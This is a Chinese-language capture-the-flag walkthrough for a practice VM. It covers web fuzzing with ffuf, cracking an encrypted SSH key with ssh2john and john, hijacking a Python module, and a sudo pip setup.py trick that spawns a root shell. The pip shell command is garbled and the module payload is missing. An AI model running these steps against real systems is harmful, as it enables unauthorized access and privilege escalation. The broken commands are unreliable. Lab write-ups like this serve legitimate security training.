靶机练习4

0 阅读2分钟

靶机4

1.nmap扫描发现主机ip192.168.58.135,并且开放了22,80端口

2.访问页面,乍一看啥都没有,但f12发现了提示,叫我们不要放弃

3.那我们就继续信息收集,用dirsearch收集看看有没有特殊网页,发现两个200状态码的网页

第一个是apache,没什么用

第二个是robots文件,发现一个不允许访问的文件夹

尝试访问这个文件夹,报404

再f12看一眼,发现有提示,

4.再利用命令ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.58.135/~FUZZ

(-c 彩色输出,-w跟字典路径, FUZZ枚举内容)

发现一个secret目录,访问一下,得到一个可能是用户名icex64

翻译一下有个ssh密钥

继续用命令ffuf -fc 403 -e .txt,.html -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.58.135/~secret/.FUZZ 2>/dev/null(-f过滤状态码 -e找带这些字符的文件 -ic忽略连接错误)

过滤错误信息:输出重定向

发现一个mysecret.txt的文件

访问这个文件,就是之前提示的ssh密钥,但这个密钥被加密了,需要解密,这时可以用工具ciphey来自动化解密,很方便

直接复制会有边框,可以用三剑客(grep sed awk)将|替换成空

sed -i ‘s/|//g’ key_jie.txt (-i将文本里面的替换,不加是输出替换)

再利用工具ssh2john ky_jie.txt >passwd.txt把ssh密钥的可以破解的密钥解出来

继续用命令john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt把密码解出来(--wordlist=字典) (之前解过要把缓存文件删掉) 得到密码P@55w0rd!

远程连接下192.168.58.135(注意这里密钥文件要给权限才能登陆)

5.登陆上后看一下cat /etc/passwd,发现一个普通用户arsene有shell

尝试使用sudo提权,发现当前用户下可以不要密码以arsene用户执行所示文件

那我们就来看看这个文件里面有什么

发现这个python脚本里面导入了一个叫webbrowser的包

看看这个包的权限,可以对这个包动手脚,%d(清空所有内容),改成以下内容

在这先利用heist.py提权到arsene,发现没有权限,这时要先用sudo通过arsene 使用命令sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py登陆arsene的shell

再sudo -l看一下,发现当前用户下可以不要密码以root身份执行pip(pip提权),由于pip是安装命令,所以可以构造一个python文件以root身份执行pip命令安装所构造的包达到提权的目的

使用命令TF=$(mktemp -d) 创建一个临时文件的意思赋给变量TF

将提权命令echo "import os; os.execl('/bin/bash', 'sh', '-c', 'sh<(tty)>(tty) >(tty) 2>(tty))">(tty)')" >TF/setup.py写入临时文件TF

echo "import os; os.execl (执行一个程序)('/bin/bash'(shell), 'sh'(传递的参数), '-c'(告诉shell执行后面的字符串), 'sh<(tty)>(tty) >(tty) 2>(tty))"(借这个程序可以进行标准输入输出)>(tty)')"(借这个程序可以进行标准输入输出) >TF/setup.py(写到TF下的setup.py文件里)

使用命令sudo pip install $TF进行提权,在这是因为要借用root权限所以使用sudo

现在已经是有root权限了

进root家目录找到root.txt,查看得到flag